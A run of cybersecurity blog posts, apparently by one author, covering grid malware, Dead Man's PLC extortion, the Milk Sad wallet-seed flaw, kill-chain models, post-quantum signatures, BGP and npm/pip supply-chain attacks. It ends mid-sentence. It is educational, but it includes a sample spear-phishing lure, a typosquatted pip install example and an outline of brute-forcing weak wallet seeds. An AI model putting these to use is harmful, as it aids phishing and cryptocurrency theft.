CrashOverRide and TitonIn 2016, the CrashOverRide malware was installed on the Ukrainian critical infrastructure, and which resulted in a cyber attack on the power supply network. It happened on an electrical transmission station near the city of Kiev (Ukrenergo), in December 2016 and resulted in a black-out for around 20% of the Ukraine population. Luckily, it only lasted for one hour, but many think that it was just a test — a dry run — for a more sustained attack.
This attack has now been traced to the Crash Override (or Industroyer) malware. A previous attack on the Ukranian power infrastructure in 2015 involved the manual switch off of power to substations, but the newly discovered malware learns the topology of the supply network — by communicating with control equipment within the substations — and automatically shutdown systems.
The company who analysed it (Dragos) thinks that it could bring down parts of the energy grid, but not the whole of it, and that the activation date of the malware sample was 17 December 2016. They also defined that the malware can be detected by looking for abnormal network traffic, such as looking for substation locations and probing for electrical switch breakers.
Many suspect it may have been sent through phishing emails (as with the 2015 attack), and where Crash Override infected Microsoft Windows machines within the target network and then mapped out control systems in order to locate the key supply points, along with recording network activity which can be sent back to the controllers of the malware.
After the discovery phase, it is thought that Crash Override can load up one of four additional modules, and which can communicate with different types of equipment (such as for Honeywell and Siemens systems). This could allow it to target other electrical supply networks within different countries.
In 2018, too, it was reported that the Triton malware brought down safety systems for an oil and gas network in the Middle East [here]. This was achieved by the reverse engineering of the firmware used by device controllers and focused itself on specific parts of the infrastructure. A typical attack can often involve disabling safety systems — and which will protect the infrastructure on a system overload. When an overload does occur, the safety systems do not then protect the equipment, and this can lead to severe physical damage of the infrastructure. A tripping of just one part of the safety system, too, can cause a chain reaction, and bring down a large part of the infrastructure.
DM-PLCWith DM-PLC, all of the PLCs and engineering workstations (EWs) constantly poll each other and detect any deviations from the required attack behaviour — and thus disallow any changes to the overall running of the adversories objectives. If the system is tampered with, it activates a Dead Man’s switch, and where the PLCs set their outputs to “ON”. This could have a devastating effect on the physical infrastructure that the PLCs connect to. This — the research team say — moves away from the traditional ransomware approach of encrypting data within the infrastructure to one that allows the system to continue, but under the adversary’s command.
Figure 1 outlines the basic setup and where the team set up a number of objectives [1]:
The main focus of the work is to define a framework for a DM-PLC, and then define mitigation techniques. In order to keep the deadlock, the devices then monitor each other for changes (Figure 2), and where alerts are raised for any perceived changes.
Figure 2: Polling of devicesOverall, the team successfully tested three main operations [1]:
In a scenario with three PLCs, Figure 3 shows the response to PLC 3 being removed from the network and where PLC 1 and PLC 2 set their outputs to 1 after 25 seconds — which causes the Dead Man switch to activate.
Thus, someone taking PLC 3 off the network has 25 seconds before the whole of the network goes into “full ON” mode.
ConclusionsDead Man PLC sounds like a script for a movie, but it is a movie that could play for real. Our CNI is precious, and we need to protect it. Otherwise, here’s another movie …
“Your worst enemy has taken over all the fun rides, and you cannot remove them from your network. They demand a $1 billion ransom, or every ride will stop instantly. Bob accidentally removes one of the controllers — you now have 25 minutes to save lives!”
References[1] Derbyshire, R., Green, B., van der Walt, C., & Hutchison, D. (2023). Dead Man’s PLC: Towards Viable Cyber Extortion for Operational Technology. arXiv preprint arXiv:2307.09549.
Kerckhoff’s principle defines that “a Cryptographic system should be designed to be secure, even if all its details, except for the key, are publicly known”, but there aren’t too many other rules defined. So here are my 100 Basic Rules of Cryptography (and Secure Programming). First, my Top 10:
And the rest:
And there you go … 100 rules of cryptography
A team of developers at Distrust and others has discovered a weakness in the cryptographic methods of creating a random seed for the Libbitcoin Explorer wallet. This is allegedly behind a number of cryptocurrency thefts on 12 July 2023, and on November 2022. The vulnerability has been given the CVE identifier of CVE-2023–39910 and dubbed Milk Sad [here]:
Basically, the wallet uses the bx seed program and which uses a Mersenne Twister [here] for its random generator. Overall it is a secure method when used with a strong seed values. Normally these nonce values are at least 92 bits long, but more typically at least 128 bits. Unfortunately, in this case, it is initialised with 32 bits of system time. A sample run as [here]:
% bx seed 6183d30558f3f56b0f7248aea1ed9b1098037ff5ad5eea69% bx seed 090a30f539d443b9ca61cc40c0e8142fc3e95c2e2d288a85% bx seed | bx ec-new > private_key% cat private_key 43c8175d0dc33bfca0bd6bb5f758fd3489da33b08e9b65cd377436952cbc6eb3We can see that bx seed is generating a random number and which has 48 hex characters, and thus 24 bytes. This gives us a 192 bits of output, but the nonce is along 32 bits long. We then use ec-new to create a 256-bit private key for secp256k1.
And so the problem is trival … we only use 32 bits of system time to generate the random seed. For anyone who had studied cryptography, you should know that we need at least 72 bits of a random seed to be safe from brute force recovery. Basically, cracking a 32-bit value is fairly easy … if not trivial. For this, the number of possible keys will thus be:
4,294,967,296
whereas normally we need 256 bits of entropy, which is:
115792089237316195423570985008687907853269984665640564039457584007913129639936
Overall, it will take less than a day to brute force a private key, as we only have, on average, we only have to try keys within a 2³² space - this is the key entropy. There are a few ways to setup bx, but once the base configuration is known, it is then easy to brute force the key. Once the private key is discovered, the intruder can then drain the wallet of cryptocurrency — by signing transfers.
The name “Milk Sad” comes from a system time of 0.0 gives a secret of:
milk sad wage cup reward umbrella raven visa give list decorate bulb gold raise twenty fly manual stand float super gentle climb fold park
ConclusionsThis is sheep-following-sheep. Someone on the Internet would have shown the bx key generation method and then just followed it. More details of the vulnerability here:
As humans we are driven by risks and threats, and where we are continually weighing-up costs and benefits. A threat is an actual thing that could actually cause harm, loss or damage, whereas a risk is the likelihood of a specific threat happening.
In our lives, too, we expose ourselves through vulnerabilities, and which are our weaknesses and which could be exploited by others. Within Cyber intelligence we must thus need to continually understand our threats and vulnerabilities and weigh up the risks involved. With finite budgets for computer security, and we must thus focus on those things which will bring the most benefit to the organisation. A major challenge is always to carefully define costs and benefits. A CEO might not want to invest in a new firewall if the justification is that it will increase the throughput of traffic. Whereas a justification around the costs of a data breach and an associated loss of brand reputation might be more acceptable for investment.
Threat analysis is a growing field and involves understanding the risks to the business, how likely they are to happen, and their likely cost to the business. Figure 1 shows a plot of the cost of risks against the likelihood. If there are low costs, it is likely to be worth defending against. Risks which are not very likely, and which have a low cost, and also a risk which has a high cost, but is highly likely, are less likely to be defended against. At the extreme, a high risk which has a low likelihood and which has high costs to mitigate against is probably not worth defending against. The probabilities of the risks can be analysed either using previous experience, estimates, or from standard insurance risk tables. Figure 2 outlines an example of this.
Loss ExpectancyAny investment in cybersecurity must often be justified, especially in the benefits that it brings to an organisation. For audit/compliance reasons, a company must often prove that the match the key regulatory requirements within its market place. Regulations such as GDPR, and acts such as Gramm-Leach-Bliley (GLB), Sarbanes-Oxley (SOX), and the Computer Fraud and Abuse, are often a key drivers for investments in cybersecurity, as a failure to comply with these can lead to significant fines or even criminal charges. The GLB Act outlines the mechanisms that financial intuitions can use to share customer data.
And, due to the financial scandals of Enron, WorldCom, and Tyco, SOX was passed in 2002, and which defines the methods used to implement corporate governance and accountability. One driver for cyber intelligence is thus the ability to gather the required information for auditors to review.
As previously defined, there are many other costs that an organisation may face, including the loss of business, brand damage, and a reduction in shareholder confidence. One method of understanding the cost of risk is to determine the single loss expectancy, which is calculated from:
ALE = AV x ARO
and Where ALE is the Annual Loss Expectancy, ARO is the Annualized Rate of Occurrence, and V is the value of the particular asset. For example, if the likelihood of a denial-of-service on a Web-based database is once every three years, and the loss to sales is $100K, the ALE will be:
ALE = $100K x 1/3 = $33K per annum
This formula assumes that there is a total loss for the asset, and for differing levels of risk, an EF (Exposure Factor) can be defined as the percentage of the asset damage. The formula can then be modified as:
ALE = AV x ARO x EF
Figure 1 Figure 2 Risk management/avoidanceThe major problem in defining risk — and in implementing security policies — is that there is often a lack of communication on security between business analysts and information professionals, as they both tend to look at risk in different ways. Woloch [1] highlights this with:
Get two risk management experts in a room, one financial and the other IT, and they will NOT be able to discuss risk. Each puts risk into a different context … different vocabularies, definitions, metrics, processes and standards.
At the core of Cyber intelligence is a formalisation of the methodology used to understand and quantify risks. One system for this is CORAS (A Framework for Risk Analysis of Security Critical Systems) and which has been developed to understand the risks involved. A key factor of this framework is to develop an ontology (as illustrated in Figure 3) where everyone speaks using the same terms. For example:
A THREAT may exploit a VULNERABILITY of an ASSET in the TARGET OF INTEREST in a certain CONTEXT, or a THREAT may exploit a VULNERABILITY opens for a RISK which contains a LIKELIHOOD of an UNWANTED INCIDENT.
In this way, all of those in an organisation, no matter their role, will use the same terminology in describing threats, risks and vulnerabilities.
For risk management, it is understood that not all threats can be mitigated against, and they will be carefully managed and monitored. Figure 4 shows the methodology used by CORAS in managing risks, and where a risk might be accepted if the cost to mitigate against it is too high. Network sensors can thus then be set up to try and detect potential threats, and to deal with them as they occur. For risk avoidance, systems are set up so that a threat does not actually occur on the network. An example of risk management is where a company might not setup their firewalls to block a denial-of-service (DoS) attack, as it might actually block legitimate users/services, and could thus install network sensors (such as for Intrusion Detection Systems) to detect when a DoS occurs. With risk avoidance, the company might install network devices which make it impossible for a DoS attack to occur.
Figure 3 Figure 4The importance of clearly defining threats allows us to articulate both the threat itself and also define clearly the entities involved with an incident. Figure 5 shows an example of defining the taxonomy used within a security incident, and where:
A [Threat] is achieved with [Attack Tools] for [Vulnerabilities] with [Results] for given [Objectives].
Figure 5 Kill chain modelWithin cybersecurity, we see many terms used within military operations, including demilitarized zones (DMZs), defence-in-depth and APT (Advanced Persistent Threat). Another widely used term is the kill chain where military operations would attack a specific target, and then look to destroy it. A defender will then look to break the kill chain and understand how it might be attacked. An example of the kill chain approach is “F2T2EA”, where we Find (a target), Fix (on the location of the target), Track (the movement of the target), Engage (to fix the weapon onto the target), Assess (the damage to the target). A core of this approach is the provision of intelligence around the finding, tracking and assessment of the target.
One of the most used cybersecurity models to understand threats is the kill chain model and was first proposed by Lockheed Martin. Yadav et al [2] define the technical nature of key stages of an attack, including Reconnaissance, Weaponize, Delivery, Exploitation, Installation, and Act on Objective (Figure 6). So let’s say that Eve wants to steal the academic records of a university student (Carol). She might perform a reconnaissance activity and find out that Bob is an academic related to Carol’s programme of study.
Eve might then determine that Bob runs Windows 10 on his computer and will then move to weaponization. For this Eve selects a backdoor trojan which fakes the login process for his university site. Eve does this by scrapping the university login system. Next, she picks a suitable delivery mechanism and decides that a spear phishing method which will trick Bob into logging into the fake Web site. Eve then tries a different phishing email each day and for each attempt, she monitors for any activity of Bob putting in his university login details and his password. Once he is fooled into putting in his username and password, Eve then logs the IP address of his computer and remotely logs into it. She then installs a backdoor program, and which captures his keystrokes. Eve then monitors his activities until she sees him logging into the university results system, and where she can capture his login details for this system, and then she can act on her objective and steal Carol’s results.
Figure 6: Cyber Kill Chain Model © [2] ReconnaissanceThe first stages of an attack is likely to involve some form of reconnaissance, and which can either be passive scanning or active scanning. Within active reconnaissance, an attack may use discovery tools to determine servers, networking devices, IP address ranges, and so on. These tools will typically leave a trace on the network, and which could be detected for reconnaissance activities. Typically an organization would have standard signature detection methods to detect the scanning of IP addresses, TCP ports, and in the discovery of networked services. A company could then black-list, or lock down, the IP address which sourced the scan.
With passive scanning, an attacker might use open source information to better understand their target. This increasingly involves Open-Source Intelligence (OSINT) Reconnaissance. Increasingly, too, we all leave traces of our activities across the Internet, and as we do, we leak information that could be useful for an attacker. A spear-phishing attack may thus be targeted against a person who has leaked information about their next-of-kin or on their normal work times. Eve, for example, might know that Carol has a friendship with Trent, and that Carol also uses Pinterest. She then finds out that Carol always starts work at 9am, and that she has been associated with a given IP address. On checking her Twitter account, Eve sees that Carol attended a rock concert the night before. Eve then sends Carol an email just before 9am of:
Hi Carol,
Trent here. Hope you had a great time at the concert. Here are some photos from that I took [here].
— Trent
Eve then sets up a fake Pinterest site, and which asks for Carol’s login details. Carol then enters her password, but it is rejected, and then Eve’s fake Web page forwards Carol to the correct Pinterest site, and she logs in. Everything looks okay, and Carol just thinks that she has entered the wrong password in the first login attempt. But Eve now sees Carol’s username, password and IP address. If Carol uses the same password for many of her accounts, Eve can then move through sites that she is likely to use, and use the Pinterest-sourced password. Thus Eve has used a targeted spear-phishing attack, and where she had determined something about Carol, and then targeted her with something that she thought Carol will be tricked with.
MITRE ATT&CK (TM) FrameworkMany criticise the kill chain model in cybersecurity as it does not cover all of the possible attacks, and is limited number in the number of stages. The MITRE ATT&CK(TM) extends these phases into: Reconnaissance, Resource Deployment, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration, and Impact, and splits these up into techniques used in each phase [3].
Figure 7 outlines that the initial access phase could be achieved through methods such as Drive-by Compromise and Exploit Public-Facing Application, and which can then be used as a knowledge base for the tactics and techniques used. Within each of the techniques, the framework outlines real-life examples, detection methods, and possible mitigations.
Figure 7: Mitre [2][here]In reconnaissance (Figure 8), we can see there are 10 basic techniques (active scanning, gathering victim host information, and so on). These techniques then split into sub-techniques (such as Scanning IP Blocks for Active Scanning).
Figure 8: Defining sub-techniques [link]Each sub-technique then has mitigations and detection methods (Figure 9).
Figure 9: Sub-techniques [link] Unified Kill Chain (UKC) modelPeter Polis [4] then brought together the approaches of the kill chain model and the MITRE ATT&CK(TM) knowledge base to create the Unified Kill Chain (UKC) model, and which defines 18 unique attack phrases. These are split into stages of an initial foothold and which pivots to network propagation and then with access to an action (Figure 8). The reconnaissance phases involve: Weaponization; Delivery; Social Engineering; Exploitation; Persistence; Defense Evasion and Command & Control (Figure 9); the network discovery phase involves Discovery; Privilege Escalation; Execution; Credential Access; and Lateral Movement, with an action phrase of Collection; Exfiltration; Target Manipulation; and Objectives.
Figure 8 [Link] Figure 9 [Link] ConclusionsI repeat, at the core of cybersecurity are: risks, costs, benefits and threat models. We need common definitions for our definitions and in defining a common knowledge base. The Unified Kill Chain model goes some way to achieving this.
References[1] B. Woloch, “New dynamic threats requires new thinking: moving beyond compliance”,” Computer Law & Security Review, vol. 22, no. 2, pp. 150–156, 2006.
[2] T. Yadav and A. M. Rao, Technical aspects of cyber kill chain,” in International Symposium on Security in Computing and Communication. Springer, 2015, pp. 438–452.
[3] MITRE, Mitre’s attack,” 2019. [Online]. Available: https://attack.mitre.org/. Link.
[4] P. Pols, Unifed kill chain (ukc),” 2019. [On-line]. Available: https://www.csacademy.nl/images/scripties/2018/Paul-Pols — -The-Unied-Kill-Chain.
Digital signatures are the foundation of our digital trust. With this, Bob has a key pair: a private key and a public key. In order to provide his identity, he signs a hash of a message with his private key, and then Alice proves this with his public key. Currently, we mainly use RSA, ECDSA and EdDSA for our signature methods, and where DSA signatures (which use discrete logs) have been dropped for their creation. For example, ECDSA is used with Bitcoin and Ethereum, and RSA is often used to identify Web sites. EdDSA is now on the rise, and is part of the FIPS-186–5 standard. Unforunately, we will need to replace these methods — as quantum computers can crack them.
The other area that needs to be replaced is key exchange and public key encryption. These days we typically use ECDH (Elliptic Curve Diffie Hellman) for key exchange, and RSA for public key encryption. These will have to be replaced with quantum-robust methods — Post Quantum Cryptography (PQC).
Goodbye RSA and ECC, and Hello to PQCAnd, so, using Shor’s algorithm, quantum computers will be able to crack RSA, discrete logs and ECC (Elliptic Curve Cryptography), and so we need to remove RSA, ECDSA and EdDSA and replace them with methods that are quantum robust.
For this, NIST has been running a competition for the last few years, and where CRYSTALS-Dilithium and SPHINCS+ were selected as the winners for PQC digital signatures. There are no other candidates that are being assessed from the previous round. Overall, Dilithium is a lattice-based method, while SPHINCS+ uses a hash-based signature method. But what if these methods are cracked? Well, it happened to two of the finalists for the NIST competition: Rainbow and SIKE, and where the methods were cracked in the final round of the competition.
For KEM (Key Exchange Mechanisms) to replace ECDH (Elliptic Curve Diffie Hellman) and Public Key Encryption (PKE) to replace RSA, NIST has standardized CRYSTALS-Kyber, and is still assessing BIKE, Classic McEliece, HQC, and SIKE.
Additional Signatures: Round 1And, so, NIST is on the look-out for alternatives for Dilithium and has set up a new competition [here]:
In the first round, we have:
Doing a quick count, we have:
Multivariate: 11; Lattice: 7; Code-based: 5; MPC-in-the-head: 5; Symmetric-based: 4; and Isogenies: 1.
So, multivariate seems to be leading the way, with lattice methods being popular too. But poor old isogenies only has one contender. This may be due to the crack on an isogeny-based method (Supersingular Isogeny Key Encapsulation SIKE), or that isogenies are better suited to key exchange techniques.
And so, let’s look at the basic methods and some previous examples.
Multivariate — Unbalanced Oil and Vinegar (UOV)With multivariate cryptography, we have n variables within polynomial equations. For example, if we have four variables (w,x,y,z) and an order of two, we could have [here]:
w²+4wx+3x²+2wy−4wz+2wx+6xz=387
Generally, this is a hard problem to solve, so we want to make it easy if we know a secret. In this case, I know that the solution is w=7,x=4,y=5, and z=6.
Oil and Vinegar Makes A Hard Problem Easy Fixing The Hole In The Internet in a Post Quantum Worldmedium.com
LatticeTo understand lattice cryptography, you need to understand polynomials, as our bit values are converted into polynomials. Our operations are then conducted with polynomial multiplies and addition, and taken with a (mod p) operation (and where p will be the maximum value we generate for the polynomial values).
The Magic of Lattice and The Eye of a Falcon To understand lattice cryptography, you need to understand polynomials, as our bit values are converted into…medium.com
Code-basedThis method was created in 1978 with the McEliece cryptosystem but has barely been used in real applications. The McEliece method uses linear codes that are used in error-correcting codes and involves matrix-vector multiplication. An example of a linear code is Hamming code [here].
McEliece and Rust: Edging Slowly To A NIST Standard for PQC We live in a world that is dominated by large (and faceless) corporations, but it is individuals who have often built…medium.com
MPC-in-the-headThese methods use non-interactive zero-knowledge proofs of knowledge and MPC (Multiparty Computation). With MPC we can split a problem into a number of computing elements, and these can be worked on in order to produce the result, and where none of the elements can see the working out at intermediate stages. The great advantage of this method is that we only use symmetric key methods (block ciphers and hashing functions).
Let’s Go For A Post-Quantum Picnic And then there were three: CRYSTALS Dilithium, Falcon and Rainbow. These are the finalists for the NIST standard for…medium.com
SymmetricThese methods uses standard cryptographic methods such as symmetric key encryption and hashes. Typically they use AES and SHA3 — and which are quantum robust.
IsogeniesIf we have two elliptic curves (E1 and E2), we can create a function that maps a point (P) on E1 to a point Q on E2. This function is known as an isogeny. If we can map this function, every point on E1 can be mapped to E2. Our secret key is then the isogeny and the public key is the elliptic curve. For key exchange, Bob and Alice mix their isogeny and the other side’s curve to generate a secret curve.
Isogenies? The End Game for Public Key Encryption? Well, we are now at the final stage of NIST’s post-quantum cryptography standardization, and which started in 2016:medium.com
ConclusionsExciting times are ahead as the methods go up and against each. In the last competition, some of the methods fell because of a problem with their parameters (Rainbow — UOV) or because of a core weakness (isogenies). But, this time, they are all likely to come back strong and (hopefully) compete well against the lattice methods.
Lessons from the cybersecurity rule book for government:
It’s as simple as that. In fact, governments could learn a great deal about coping with cybersecurity in the Cloud.
But now the Electoral Commission in the UK has revealed that information on around 40 million citizens was exposed from August 2021 to October 2022. This includes everyone who was eligible to vote between 2014 and 2022 and includes their names and addresses, along with information sent to the commission in the form for email and web forms.
https://www.bbc.co.uk/news/uk-politics-66441010
Very few details of the “complex cyber-attack” are given, but I bet, in the end, that it was the good old standard method of gaining a foothold in a system.
The risk of insiders leaking information is significant in this type of breach, and the best firewalls in the world will not protect us from insider threats. The banks have realised that they now need 24x7 SOC support, and this would be the case in government. While the information leaked is possibly not that serious, there is a basic trust issue here, and where data was exposed for over a year, and it was not detected.
ConclusionsIn response, the Commission has said that it would lock out hostile actors, which doesn’t sound like a coherent plan to protect the data. I would hope encryption, and a zero-trust approach will also be used. Governments need to lead the way and not be stuck using the paper-based approaches of the 20th Century.
So the Internet isn’t the large-scale distributed network that DARPA tried to create, and which could withstand a nuclear strike on any part of it. At its core is a centralised infrastructure of routing devices and of centralised Internet services. The protocols its uses are basically just the ones that were drafted when we connected to mainframe computers from dumb terminals. Overall, though, a single glitch in its core infrastructure can bring the whole thing crashing to the floor. And then if you can’t get connected to the network, you often will struggle to fix it. A bit like trying to fix your car, when you have locked yourself out, and don’t have the key to get in.
As BGP still provides a good part of the core of the Internet, any problems with it can cause large scale outages. Recently Facebook took themselves off the Internet due to a BGP configuration errors, and there have been multiple times when Internet traffic has been “tricked” to take routes through countries which do not have a good track record for privacy.
BGP does the core of routing on the Internet, works by defining autonomous systems (AS). The ASs are identified with an ASN (Autonomous System Number) and keep routing tables which allows the ASs to pass data packets between themselves, and thus route between them. Thus the Facebook AS can advertise to other AS’s that it exists and that packets can be routed to them. When the Facebook outage happened, the Facebook AS failed to advertise its presence. Each AS then defines the network ranges that they can reach. Facebook’s ASN is AS32935 and covers around 270,000 IP address ranges [here].
What is BGP?The two main interdomain routing protocols in recent history are EGP (Exterior Gateway Protocol) and BGP (Border Gateway Protocol). EGP suffers from several limitations, and its principal one is that it treats the Internet as a tree-like structure, as illustrated in Figure 1. This assumes that the structure of the Internet is made up of parents and children, with a single backbone. A more typical topology for the Internet is illustrated in Figure 2. BGP is now one of the most widely accepted exterior routing protocol, and has largely replaced EGP.
Figure 1: Single backbone — Tree-like topology Figure 2: Multiple backbonesBGP is an improvement on EGP (the fourth version of BGP is known as BGP-4), and is defined in RFC1772. Unfortunately it is more complex than EGP, but not as complex as OSPF. BGP assumes that the Internet is made up of an arbitrarily interconnected set of nodes. It then assumes the Internet connects to a number of AANs (autonomously attached networks), as illustrated in Figure 3, which create boundaries around organizations, Internet service providers, and so on. It then assumes that, once they are in the AAN, the packets will be properly routed.
Figure 3: Autonomously attached networksMost routing algorithms try to find the quickest way through the network, whereas BGP tries to find any path through the network. Thus, the main goal is reachability instead of the number of hops to the destination. So finding a path which is nearly optimal is a good achievement. The AAN administrator selects at least one node to be a BGP speaker and also one or more border gateways. These gateways simply route the packet into and out of the AAN. The border gateways are the routers through which packets reach the AAN.
The speaker on the AAN broadcasts its reachability information to all the networks within its AAN. This information states only whether a destination AAN can be reached; it does not describe any other metrics. An important point is that BGP is not a distance-vector or link state protocol because it transmits complete routing information instead of partial information.
The BGP update packet also contains information on routes which cannot be reached (withdrawn routes), and the content of the BGP-4 update packet is:
Routers within AS’s share similar routing policies, and thus operate as a single administrative unit. All the routers outside the AS treat the AS as a single unit. The AS identification number is assigned by the Internet Assigned Numbers Authority (IANA) in the range of 1 to 65,535, where 64,512 to 65,535 are reserved for private use. The private numbers are only used within private domain, and must be translated to registered numbers when leaving the domain.
BGP and routing loopsBGP uses TCP segments on port 179 to send routing information (whereas RIP uses port 520). BGP overcomes routing loops by constructing a graph of autonomous systems, based on the information provided by exchanging information between neighbors. It can thus build up a wider picture of the entire interconnected ASs. A keep-alive message is send between neighbours, which allows the graph to be kept up-to-date.
Single-homed systemsASs which have only one exit point are defined as single-homed systems, and are often referred to as stub networks. These stubs can use a default route to handle all the network traffic destined for non-local networks.
There are three methods that an AS can use so that the outside world can learn the addresses within the AS:
A multi-homed system has more than one exit point from the AS. As it has more than one exit point, it could support the routing of data across the exit points. A system which does not support the routing of traffic through the AS is named a non-transit AS. Non-transit ASs thus will only advertise its own routes to the Internet access providers, as it does not want any routing through it. One Internet provider could force traffic through the AS if it knows that routing through the AS is possible. To overcome this, the AS would setup filtering to stop any of this routed traffic.
Multi-homed transit systems have more than one connection to an Internet access provider, and also allow traffic to be routed through it. It will route this traffic by running BGP internally so that multiple border routers in the same AS can share BGP information. Along with this, routers can forward BGP information from one border router to another. BGP running inside the AS is named Internet BGP (IBGP), while it is known as External BGP (EBGP) if it is running outside AS’s. The routers which define the boundary between the AS and the Internet access provider is known as border routers, while routers running internal BGP are known as transit routers.
BGP specificationBorder Gateway Protocol (BGP) is an inter-Autonomous System routing protocol (exterior routing protocol), which builds on EGP. The main function of a BGP-based system is to communicate network reachability information with other BGP systems. Initially two systems exchange messages to open and confirm the connection parameters, and then transmit the entire BGP routing table. After this, incremental updates are sent as the routing tables change.
Each message has a fixed-size header and may or may not be followed a data portion. The fields are:
The OPEN message is the first message sent after a connection has been made. A KEEPALIVE message is sent back confirming the OPEN message. After this the UPDATE, KEEPALIVE, and NOTIFICATION messages can be exchanged.
Figure 4 shows the extra information added to the fixed-size BGP header. It has the following fields:
BGP configuration commands are similar to those used for RIP (Routing Internet Protocol). To configure the router to support BGP the following commands is used:
RouterA # config tRouterA(config)# router bgp AS-numberWith IGP’s, such as RIP, the network command defined the networks on which routing table update are sent. For BGP a different approach is used to define the relationship between networks. This is [here]:
RouterA # config tRouterA(config) # router bgp AS-numberRouter(config-router)# network network-number [mask network-mask]where the network command defines where to advertise the locally learnt networks. These networks could have been learnt from other protocols, such as RIP. An optional mask can be used with the network command to specify individual subnets. With the BGP protocol neiphbors must establish a relationship, for this the following is used:
RouterA # config tRouterA(config) #router bgp AS-numberRouter(config-router)#network network-number [mask network-mask]Router(config-router)# neighbor ip-address remote-as AS-numberwhich defines the IP address of a connected BGP-based router, along with its AS number.
ConclusionsAt its core, the Internet is not a decentralised infrastructure. It is fragile and open to human error and adversarial attacks. Too much of our time is spent on making our services work and very little on making them robust. We need to spend more time looking at scenarios and how to mitigate them. Previously it was Facebook taking themselves offline, the next time it could be a nation-state bring down a whole country … and that it is likely to have a devastating effect.
Now … I have setup more Cisco challenges for BGP for you, so go and learn more about BGP configuration here:
I love programming and think that every child should be taught it at school at an early age — and, for me, coding is for everyone. As an artist uses paint and a canvas, programming allows me to practice my art — cryptography. I can then re-enforce my learning of theoretical methods into practice — and where the learning comes alive.
It also allows me to script things that would be extremely time-consuming. With the Cloud, for example, I can open and close ports on a firewall with a simple Python script — and which allows me to avoid logging into a system and using a silly GUI (Graphical User Interface, aka browser) to perform a simple operation.
Overall, I have taught programming in the past, but I have no desire to teach it as a subject on its own. Personally, I would rather teach cryptography or cloud computing and then show how code can be used to implement things practically. And, so, here are my favouriate programming languages and least favouriate ones.
My Web site (https://asecuritysite.com) has a range of programming languages. Sometimes I pick the language because it is easiest to implement a given method, but other times I might only be able to find a certain method within a given implementation. And, so, you will find lots of Python, Golang, Rust, and JavaScript, but not so much for Java. You will not find so much on C#, but that is the core language that I use to build the Web site, so it’s still one of my favouriate languages.
The best for me?I know many people will disagree with me, but my five favouriate programming languages in order of how much I like them:
And my least favouriate:
Oh, and I know many will disagree with me here, but Perl is a nightmare to debug and understand. Perhaps these are one of the reasons it is so powerful — as it can obfuscate the operation of the code.
ConclusionsAnd, there you go. Golang and Python for prototyping, PowerShell for pushing the operating system, C# for infrastructure building, and Rust for production code.
So learn some Golang:
https://asecuritysite.com/golang
and some Rust:
https://asecuritysite.com/rust
Which are your five favouriate and least favouriate programming languages?
JavaScript is the best and the worst of computer programming. It is able to exist in both the front end (the browser) and in the back end (with Node.js). It basically saved the Web as we moved from static Web pages to delivering dynamic content. With JavaScript, we could then enable direct interaction with the user but also capture and process data when required. It was a stroke of genius that allowed the same code in a Web page to be used on the back end (Node.js).
But, it is sloppy language and rather unpredictable. Many love its methods, as a simple npm (Node Package Manager) can install the required software and libraries without any fuss:
npm install crypgraphyBut this simplicity can lead to problems. And, for Python, the pip command makes it easy to install libraries:
pip install cryptographyBut these can lead to back-door trojans if an adversary places a back door in one of the associated libraries. Along with this, we can get typosquatting, and where a developer might type:
pip install crypgraphyand download a malicious library. For this, an adversary needs to get their code onto one of the trusted repositories for JavaScript and Python.
Protecting the supply chainThe SolarWinds attack should act as a lesson in the importance of protecting the software supply chain, as backdoors can be applied to trusted software. For this, an adversary could either break into a trusted software system and add a backdoor in the software and then, with a compromised private key, sign the update as being valid. Also, an adversary could add a backdoor to open-source software that might go unnoticed when built.
And, so, software languages tend to vary greatly in their control of libraries. With Rust, for example, we have Cargo, and which is a strongly versioned package manager. This will build a Rust program with a strict linkage of libraries to a given version — rather than taking the up-to-date version. All of the code is compiled strictly against versions of the binding to the code. Golang is less tightly defined and uses a git pull of the current version and stores it locally on a machine. A new git pull is required to update the version.
The problem with npm and pipNow, it has been reported by Phylum that a new stealthy malware is spreading within npm [here]:
With this, they reported on 31 July 2023 that there were suspicious activities on npm, and that 10 “test” packages were published. The research team found that they were part of a targeted malware attack — and which focused on exfiltrating source code and confidential information. This involved several iterations of updates before the final malware was constructed, as it shows that adversaries can focus on small incremental updates rather than showing the complete code at a single instance. This can allow malicious code to go undetected — and where the increments look like sensible updates.
Overall, the packages had sensible-looking names —and an example of “npm typosquatting”. A recent example included the creation of a package named “aabquerys”, which is similar to the valid package of “abquery” [here]. With is it was found that it installs a legitimate EXE (wsc_proxy.exe) and which is digitally signed with a valid certificate but where is can be used as a side loader for malware. With a side loader, a valid and trusted program is run, but where it loads malicious code. In the malware version, a malicious file named wsc.dll is placed in the same place as wsc_proxy.exe, and which loads wsc.dll when invoked (Figure 1).
Figure [here]And pip, too, does not have a great track record for protecting against malicious packages. A recent report from ReversingLabs involves the integration of the Python Package Index (PyPI) repository and includes the identification of 24 malicious packages that link to three popular open-source tools: vConnector, eth-tester and databases [here]. The target for these seems to be for cryptocurrency-focused developers.
ConclusionsWatch the versions of your code, as you could be a trojan for others. A backdoor compiler, for example, is one of the most difficult threats to detect, and it can infect a whole lot of systems that you may be responsible for.
And, so what’s the next number in the sequence 3, 7, 31, and 127? Well, it’s 8,191, and I will explain why in a little minute.
If you need to test with prime numbers — such as with public key encryption — how do you remember some large ones that you can test with? Well, one of the easiest ways is to remember the Mersenne prime numbers.
Mersenne prime numbers were first defined by Marin Mersenne and who was a 17th Century French Minim friar. His main contribution included his investigations of prime numbers, along with being seen as the father of acoustics. A Mersenne prime is defined as a prime number that is one less than a power of two. The general form is M_n=2^n−1 where n is an integer. The discovery of 2¹¹²¹³-1 was even given its own postmark:
The largest found is 2⁸²⁵⁸⁹⁹³³-1, and is the 51st Mersenne prime to be ever found). Since 1997, the Great Internet Mersenne Prime Search (GIMPS) distributed system has been used to find new Mersenne primes.
From Wikipedia, here are the first 20:
The Mersenne sequence becomes:
2, 3, 5, 7, 13, 17, 19, 31, 61, 89, 107, 127, 521, 607, 1279, 2203, 2281, 3217, 4253, 4423, 9689, 9941, 11213, 19937, 21701, 23209, 44497, 86243, 110503, 132049, 216091, 756839, 859433, 1257787, 1398269, 2976221, 3021377, 6972593, 13466917, 20996011, 24036583, 25964951, 30402457, 32582657, 37156667, ..., 77232917 ...Some code to discover these is [here]:
